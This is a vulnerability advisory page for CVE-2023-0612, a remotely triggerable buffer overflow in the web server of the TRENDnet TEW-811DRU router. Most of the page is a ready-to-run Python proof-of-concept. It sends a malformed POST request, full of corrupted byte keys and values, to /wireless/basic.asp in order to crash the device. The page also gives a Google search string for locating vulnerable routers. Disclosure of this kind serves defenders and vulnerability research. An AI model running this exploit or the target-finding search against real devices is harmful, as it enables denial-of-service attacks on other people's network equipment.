TRENDnet TEW-811DRU 1.0.10.0 httpd /wireless/basic.asp buffer overflow

Summaryinfo

A vulnerability labeled as critical has been found in TRENDnet TEW-811DRU 1.0.10.0. This affects an unknown part of the file /wireless/basic.asp of the component httpd. The manipulation results in buffer overflow. This vulnerability is identified as CVE-2023-0612. The attack can be executed remotely. Additionally, an exploit exists.

Detailsinfo

A vulnerability, which was classified as critical, was found in TRENDnet TEW-811DRU 1.0.10.0. Affected is an unknown part of the file /wireless/basic.asp of the component httpd. The manipulation with an unknown input leads to a buffer overflow vulnerability. CWE is classifying the issue as CWE-120. The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. This is going to have an impact on availability.

The weakness was released 02/01/2023. This vulnerability is traded as CVE-2023-0612. Technical details and a public exploit are known.

A public exploit has been developed in Python. The exploit is shared for download at vuldb.com. It is declared as proof-of-concept. By approaching the search of inurl:wireless/basic.asp it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

device_web_ip = '192.168.10.1'

request = {'HEAD': 
{'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': b'applic?tiHHHHHHHHHHHHHHHHHHHcoded', 
'Content-Length': '2365', 
'Origin': 'http://0.0.0.0:8080', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8080/wireless/basic.asp', 
'Cookie': 'expandable=3c', 
'Upgrade-Insecure-Requests': '1'
}, 
'PARAM': 
{'page': '/wireless/basic.asp', 
b'\xff\x99\xc3\x8a\x02\xff\x7f\\L\xc3\x99\xc3': 'O9SAG0h7UFyvCrT4fVAX', 
b'wl_inpt': b'1', 
'wl_bssid': 2, 
'wl_bss_enabled': b'0\xc9\x8b\xc2\x8f', 
b'wl_\xef\x00\x14\x00\x01': 0, 
'wl_ssid': 'dummy', 
b'l\x80cl\xff\xff\xff': 0, 
'wl_chanspec': 40, 
b'wl_\x90l_\x90': 4, 
'wl_wds0': '00:0c:29:d9:40:fe', 
b'll\x10': '00:0c:29:d9:40:ff', 
'wl_wds2': '00:0c:29:d1:40:fe', 
b'q\xff\xffzwq\xff\xff': '00:0d:29:d9:40:fe', 
b'\x81\x80wwwwwww|wwwwwwwww': 0, 
b'wl\xff\xff\xff\x04\x00timeout': 1, 
b'\x00\x10\x7f\x89FF': 0, 
'wl_country_code': b'\x00\x80', 
'wl_country_rev': 27, 
'wl_radio': b'\x1e', 
'wl_nband': 1, 
'wl_txchain': 3, 
'wl_rxchain': b'3', 
'wl_nmode_protection': 'auto', 
'wl_vlan_prio_mode': b'Rl\x80\x80', 
'wl_rate': 0, 
'wl_rateset': b'h', 
'wl_mrate': 0, 
'wl_bcmdcs': 'off', 
'wl_antdiv': -1, 
'wl_reg_mode': 'off', 
'wl_tpc_db': b'00', 
'wl_obss_coex': b'1', 
'wl_frag': 2346, 
'wl_rts': b'3@', 
'wl_dtim': b'\x7f', 
b'\x85\xff\x10\x05\xff': 100, 
'wl_bcn_rotate': b'1', 
'wl_maxassoc': 128, 
'wl_frameburst': b'j\\', 
'wl_ampdu': b'V\x82', 
'wl_rifs': b'~\x9boo', 
'wl_rifs_advert': b'au\x7fo', 
'wl_stbc_tx': b'\x03', 
'wl_wme': b'nn', 
'wl_wme_no_ack': b'\x10\x00\x9a', 
b'_w\xff\xff': 'on', 
'wme_ap': b'(\x9e\x80', 
'wl_wme_ap_be': 5, 
'wl_wme_ap_be0': b'\x861', 
'wl_wme_ap_be1': 63, 
'wl_wme_ap_be2': 3, 
'wl_wme_ap_be3': 0, 
'wl_wme_ap_be4': 0, 
b'w\x05\xff\xff\x85e_a\x87_beD': 'off', 
'wl_wme_ap_be6': b'\x9a', 
'wl_wme_ap_bk': 5, 
'wl_wme_ap_bk0': b'\xc3\xbc', 
b'wl_wm{_apZbk1': 1023, 
'wl_wme_ap_bk2': 7, 
'wl_wme_ap_bk3': b'008', 
'wl_wme_ap_bk4': 0, 
'wl_wme_ap_bk5': b'ofo', 
'wl_wme_ap_bk6': b'\x80\x80\x00\xdb', 
'wl_wme_ap_vi': 5, 
'wl_wme_ap_vi0': 7, 
'wl_wme_ap_vi1': b'1G\xc3G', 
b'wl_sLe_ap_vi\x80l_sLe_ap_vi2': 1, 
'wl_wme_ap_vi3': 6016, 
'wl_wme_ap_vi4': b'\x03\xe8d\xee\xad', 
'wl_wme_ap_vi5': b'\xff\xff\x17', 
'wl_wme_ap_vi6': 'off', 
b'wl[wmeIap_vo': 5, 
'wl_wme_ap_vo0': 3, 
'wl_wme_ap_vo1': b'\xc3\xae\xf5', 
'wl_wme_ap_vo2': 1, 
'wl_wme_ap_vo3': b'\xff\x05\xff\xff', 
'wl_wme_ap_vo4': b'P', 
b'[lZwne_ap_vd5': b'\xc2\xbf\xc2\x92offf', 
'wl_wme_ap_vo6': b'oLd', 
b'ws]\xc2\x90\xc2\x90Ke': b'x', 
'wl_wme_sta_be': 5, 
'wl_wme_sta_be0': 15, 
b'\xf1\x00\xff\x0f': 1023, 
'wl_wme_sta_be2': 3, 
b'wl_w\x00\x00\x01\x00ta_b\x93\xe8': b'\x81_', 
b't\x81\x803t\x81a3': 0, 
'wl_wme_sta_be5': b'oof', 
'wl_wme_sta_be6': b'boff', 
'wl_wme_sta_bk': 5, 
'wl_wme_sta_bk0': 15, 
'wl_wme_sta_bk1': 1023, 
'wl_wme_sta_bk2': 7, 
b'w\x80\x81\xff\x85m_sta[bk3': b'\x7f', 
'wl_wme_sta_bk4': 0, 
'wl_wme_sta_bk5': b'd', 
'wl_wme_sta_bk6': 'off', 
'wl_wme_sta_vi': 5, 
b'wlTwulTwuekQ\x84': 7, 
'wl_wme_sta_vi1': 15, 
'wl_wme_sta_vi2': 2, 
'wl_wme_sta_vi3': 6016, 
'wl_wme_sta_vi4': 3008, 
'wl_wme_sta_vi5': 'off', 
'wl_wme_sta_vi6': 'off', 
'wl_wme_sta_vo': 5, 
b'wP_wme_s\x00\x01\xff\xe7\x070': 3, 
'wl_wme_sta_vo1': 7, 
b'\x81_7\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8f_vol__sta': 2, 
'wl_wme_sta_vo3': b'\x80\x00\x80\x0164', 
b'wl_\x98me_sta_\x96o4': b'\xed\x00\x00\x00', 
'wl_wme_sta_vo5': b'Qff', 
'wl_wme_sta_vo6': 'off', 
'wme_txp': 8, 
'wl_wme_txp_be0': 7, 
b'\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02': b'\x90', 
'wl_wme_txp_be2': 4, 
'wl_wme_txp_be3': 2, 
'wl_wme_txp_be4': 0, 
'wl_wme_txp_bk': 5, 
'wl_wme_txp_bk0': b'O', 
b'_wmwme_txp_\x85k1': 3, 
'wl_wme_txp_bk2': 4, 
'wl_wme_txp_bk3': 2, 
'wl_wme_txp_bk4': 0, 
'wl_wme_txp_vi': 5, 
'wl_wme_txp_vi0': 7, 
'wl_wme_txp_vi1': 3, 
'wl_wme_txp_vi2': 4, 
'wl_wme_txp_vi3': 2, 
'wl_wme_txp_vi4': 0, 
'wl_wme_txp_vo': 5, 
b'wl_w\x0b\x0b\n\x0bxp_vo0': 7, 
b't\x01': b'M', 
b'l_wme_me_txp_txp__tx': 4, 
'wl_wme_txp_vo3': b':', 
'wl_wme_txp_vo4': 0, 
'wl_mode': 'ap', 
'wl_ure': 0, 
'wl_bridge': 0, 
'wl_vlan_prio_mode__117_66oo': b'ome', 
b'/wipeless/basic.asp': b'', 
b'B\xc3\xa3\xc2\xa5': b'\x7f\xff\xff\xff', 
'wan_summary_2_pppoe_username': '', 
'mainform_submit': '', 
b'/tapppp.cgi': '', 
'openheader': b''
}, 
'ATTR': 
{'URL': 'http://{}/wireless/basic.asp'.format(device_web_ip), 
'METHOD': 'POST', 
'VERSION': 'HTTP/1.1'
}
}

headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

try:
  r = requests.request(method=method,url=url,headers=headers,data=urlencode(params),verify=False,timeout=5)
except Exception as e:
  print('error:{}'.format(e))

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Vendor

• TRENDnet

Name

• TEW-811DRU

Version

• 1.0.10.0

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #76180: Web crash of TRENDnet router TEW-811DRU (by leetsun)

VulDB is the best source for vulnerability data and more expert information about this specific topic.

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